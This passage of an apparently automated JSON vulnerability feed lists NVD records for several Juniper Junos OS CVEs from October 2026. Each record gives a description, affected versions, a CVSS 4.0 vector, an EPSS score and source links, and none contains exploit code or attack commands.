Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102180","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00372,"percentile":0.30829,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102180&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102180","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102180","type":"primary","publishedAt":"2026-10-14T17:18:05.923Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102180&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102180, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102179","cveId":"CVE-2026-102179","aliases":[],"kind":"vulnerability","title":"An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP EVPN...","summary":"An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP EVPN peer to cause a denial of service via BGP EVPN route processing when the l2vpn-evpn RIB telemetry sensor is subscribed. Successful exploitation can crash rpd and interrupt routing protocols until the daemon restarts and reconverges.","detail":"An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP EVPN peer to cause a denial of service via BGP EVPN route processing when the l2vpn-evpn RIB telemetry sensor is subscribed. Successful exploitation can crash rpd and interrupt routing protocols until the daemon restarts and reconverges.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:05.767Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102179","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00374,"percentile":0.31045,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102179&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102179","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102179","type":"primary","publishedAt":"2026-10-14T17:18:05.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102179&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102179, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102177","cveId":"CVE-2026-102177","aliases":[],"kind":"vulnerability","title":"An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a...","summary":"An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service when IS-IS link protection and backup-selection are configured.","detail":"An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service when IS-IS link protection and backup-selection are configured.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:05.453Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102177","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.0027,"percentile":0.19075,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102177&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102177","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102177","type":"primary","publishedAt":"2026-10-14T17:18:05.453Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102177&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102177, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102176","cveId":"CVE-2026-102176","aliases":[],"kind":"vulnerability","title":"A Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') vulnerability in the SDK service process of Juniper Networks Junos OS allows an unauthenticated network...","summary":"A Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') vulnerability in the SDK service process of Juniper Networks Junos OS allows an unauthenticated network attacker to cause a denial of service or compromise the Routing Engine by sending specific packets when the SDK service and a JDAF routing instance are enabled.","detail":"A Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') vulnerability in the SDK service process of Juniper Networks Junos OS allows an unauthenticated network attacker to cause a denial of service or compromise the Routing Engine by sending specific packets when the SDK service and a JDAF routing instance are enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:05.303Z","updatedAt":"2026-10-16T17:17:10.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102176","asOf":"2026-10-16T17:17:10.110Z"},"epss":{"probability":0.00298,"percentile":0.22257,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102176&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102176","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102176","type":"primary","publishedAt":"2026-10-14T17:18:05.303Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102176&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102176, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102174","cveId":"CVE-2026-102174","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the iked IKE key-management daemon of Juniper Networks Junos OS on the SRX Series allows an authenticated remote-access VPN client...","summary":"A Stack-based Buffer Overflow vulnerability in the iked IKE key-management daemon of Juniper Networks Junos OS on the SRX Series allows an authenticated remote-access VPN client to execute code with root privileges or cause denial of service via the remote-access VPN authentication and JIMS identity-publishing path.","detail":"A Stack-based Buffer Overflow vulnerability in the iked IKE key-management daemon of Juniper Networks Junos OS on the SRX Series allows an authenticated remote-access VPN client to execute code with root privileges or cause denial of service via the remote-access VPN authentication and JIMS identity-publishing path.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:04.990Z","updatedAt":"2026-10-16T15:17:01.617Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102174","asOf":"2026-10-16T15:17:01.617Z"},"epss":{"probability":0.0059,"percentile":0.47932,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102174&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102174","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102174","type":"primary","publishedAt":"2026-10-14T17:18:04.990Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102174&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102174, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102087","cveId":"CVE-2026-102087","aliases":[],"kind":"vulnerability","title":"An Incomplete List of Disallowed Inputs vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, adjacent...","summary":"An Incomplete List of Disallowed Inputs vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, adjacent attacker to cause a Denial-of-Service (DoS).\n\nWhen in a BGP traffic engineering scenario a specific, valid, optional, non-transitive BGP update is received over an established BGP session, RPD crashes and automatically restarts, which leads to traffic impact until routing has reconverged.\n\nThis issue affects:\nJunos OS:\n\n\n  *  All versions before 23.2R2-S6;\n  *  23.4 versions before 23.4R2-S7;\n  *  24.2 versions before 24.2R2-S4;\n  *  24.4 versions before 24.4R2-S4;\n  *  25.2 versions before 25.2R1-S2, 25.2R2;\n\n\n\nJunos OS Evolved:\n  *  All versions before 23.2R2-S6-EVO;\n  *  23.4 versions before 23.4R2-S8.11-EVO;\n  *  24.2 versions before 24.2R2-S4-EVO;\n  *  24.4 versions before 24.4R2-S5-EVO;\n  *  25.2 versions before 25.2R1-S2-EVO, 25.2R2-EVO;","detail":"An Incomplete List of Disallowed Inputs vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, adjacent attacker to cause a Denial-of-Service (DoS).\n\nWhen in a BGP traffic engineering scenario a specific, valid, optional, non-transitive BGP update is received over an established BGP session, RPD crashes and automatically restarts, which leads to traffic impact until routing has reconverged.\n\nThis issue affects:\nJunos OS:\n\n\n  *  All versions before 23.2R2-S6;\n  *  23.4 versions before 23.4R2-S7;\n  *  24.2 versions before 24.2R2-S4;\n  *  24.4 versions before 24.4R2-S4;\n  *  25.2 versions before 25.2R1-S2, 25.2R2;\n\n\n\nJunos OS Evolved:\n  *  All versions before 23.2R2-S6-EVO;\n  *  23.4 versions before 23.4R2-S8.11-EVO;\n  *  24.2 versions before 24.2R2-S4-EVO;\n  *  24.4 versions before 24.4R2-S5-EVO;\n  *  25.2 versions before 25.2R1-S2-EVO, 25.2R2-EVO;\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:04.800Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:X/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102087","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00251,"percentile":0.16272,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102087&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102087","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102087","type":"primary","publishedAt":"2026-10-14T17:18:04.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102087&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102087, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102086","cveId":"CVE-2026-102086","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the DNS plugin of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a complete...","summary":"A NULL Pointer Dereference vulnerability in the DNS plugin of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a complete Denial-of-Service (DoS).\n\n\n\nWhen multiple DNS queries are received in a single flow session, where one query matches a Security Intelligence (SecIntel) feed and another query is sent for DNS Domain Generation Algorithm (DGA) analysis, an error in processing logging of these asynchronous tasks can lead to an FPC crash. The exact timing conditions are outside an attacker's direct control.\n\nThis issue affects Junos OS on SRX Series:\n\n\n  *  All versions before 23.2R2-S7.7;\n  *  from 23.4 before 23.4R2-S8.13;\n  *  from 24.2 before 24.2R2-S5.5;\n  *  from 24.4 before 24.4R2-S4;\n  *  from 25.2 before 25.2R2-S1;\n  *  from 25.4 before 25.4R1-S2.","detail":"A NULL Pointer Dereference vulnerability in the DNS plugin of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a complete Denial-of-Service (DoS).\n\n\n\nWhen multiple DNS queries are received in a single flow session, where one query matches a Security Intelligence (SecIntel) feed and another query is sent for DNS Domain Generation Algorithm (DGA) analysis, an error in processing logging of these asynchronous tasks can lead to an FPC crash. The exact timing conditions are outside an attacker's direct control.\n\nThis issue affects Junos OS on SRX Series:\n\n\n  *  All versions before 23.2R2-S7.7;\n  *  from 23.4 before 23.4R2-S8.13;\n  *  from 24.2 before 24.2R2-S5.5;\n  *  from 24.4 before 24.4R2-S4;\n  *  from 25.2 before 25.2R2-S1;\n  *  from 25.4 before 25.4R1-S2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:04.637Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:X/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102086","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00367,"percentile":0.30283,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102086&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102086","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102086","type":"primary","publishedAt":"2026-10-14T17:18:04.637Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102086&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102086, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102083","cveId":"CVE-2026-102083","aliases":[],"kind":"vulnerability","title":"An Improper Resource Locking vulnerability in the UTM processing of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a...","summary":"An Improper Resource Locking vulnerability in the UTM processing of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).\n\n\n\nWhen UTM WebFiltering is configured and the WebFiltering cloud server is unreachable, sustained HTTP traffic load may cause the UTM subsystem to crash and restart, which will lead to a complete service outage until the system has recovered.\nWhen category lookup requests cannot be completed, they accumulate internally. Under high load and specific timing conditions, an invalid internal state can occur during cleanup of pending WebFiltering lookups, resulting in a crash of the UTM process.\nThis issue applies to both NextGeneration WebFiltering (NGWF) and Enhanced WebFiltering (EWF).\n\nThis issue affects Junos OS on SRX Series:\n\n\n  *  23.2 versions from 23.2R2 before 23.2R2-S7.7;\n  *  23.4 versions from 23.4R2 before 23.4R2-S8.13;\n  *  24.2 versions before 24.2R2-S5.5;\n  *  24.4 versions before 24.4R2-S4;\n  *  25.2 versions before 25.2R2-S1;\n  *  25.4 versions before 25.4R1-S3, 25.4R2.","detail":"An Improper Resource Locking vulnerability in the UTM processing of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).\n\n\n\nWhen UTM WebFiltering is configured and the WebFiltering cloud server is unreachable, sustained HTTP traffic load may cause the UTM subsystem to crash and restart, which will lead to a complete service outage until the system has recovered.\nWhen category lookup requests cannot be completed, they accumulate internally. Under high load and specific timing conditions, an invalid internal state can occur during cleanup of pending WebFiltering lookups, resulting in a crash of the UTM process.\nThis issue applies to both NextGeneration WebFiltering (NGWF) and Enhanced WebFiltering (EWF).\n\nThis issue affects Junos OS on SRX Series:\n\n\n  *  23.2 versions from 23.2R2 before 23.2R2-S7.7;\n  *  23.4 versions from 23.4R2 before 23.4R2-S8.13;\n  *  24.2 versions before 24.2R2-S5.5;\n  *  24.4 versions before 24.4R2-S4;\n  *  25.2 versions before 25.2R2-S1;\n  *  25.4 versions before 25.4R1-S3, 25.4R2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:04.160Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:X/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102083","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00313,"percentile":0.23982,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102083&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102083","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102083","type":"primary","publishedAt":"2026-10-14T17:18:04.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102083&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102083, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102082","cveId":"CVE-2026-102082","aliases":[],"kind":"vulnerability","title":"An Improper Handling of Missing Special Element vulnerability in the SSL plugin of Juniper Networks Junos OS on SRX Series allows a network-based, unauthenticated attacker to...","summary":"An Improper Handling of Missing Special Element vulnerability in the SSL plugin of Juniper Networks Junos OS on SRX Series allows a network-based, unauthenticated attacker to cause a Denial-of-Service (DoS).\n\n\n\nThis issue is will occur when 'ssl-proxy' is configured on SRX platforms and during a TLS session-resumption attempt a specifically malformed TLS message is received. This results in an invalid pointer access and PFE crash which causes a temporary loss of traffic forwarding until the PFE automatically recovers. The exact internal timing to trigger this issue is outside the attacker's direct control.This issue affects Junos OS on SRX Series:\n\n\n  *  All versions before 23.2R2-S5;\n  *  23.4 versions before 23.4R2-S5;\n  *  24.2 versions before 24.2R2-S2;\n  *  24.4 versions before 24.4R2.","detail":"An Improper Handling of Missing Special Element vulnerability in the SSL plugin of Juniper Networks Junos OS on SRX Series allows a network-based, unauthenticated attacker to cause a Denial-of-Service (DoS).\n\n\n\nThis issue is will occur when 'ssl-proxy' is configured on SRX platforms and during a TLS session-resumption attempt a specifically malformed TLS message is received. This results in an invalid pointer access and PFE crash which causes a temporary loss of traffic forwarding until the PFE automatically recovers. The exact internal timing to trigger this issue is outside the attacker's direct control.This issue affects Junos OS on SRX Series:\n\n\n  *  All versions before 23.2R2-S5;\n  *  23.4 versions before 23.4R2-S5;\n  *  24.2 versions before 24.2R2-S2;\n  *  24.4 versions before 24.4R2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:04.010Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:X/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102082","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00342,"percentile":0.27448,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102082&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102082","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102082","type":"primary","publishedAt":"2026-10-14T17:18:04.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 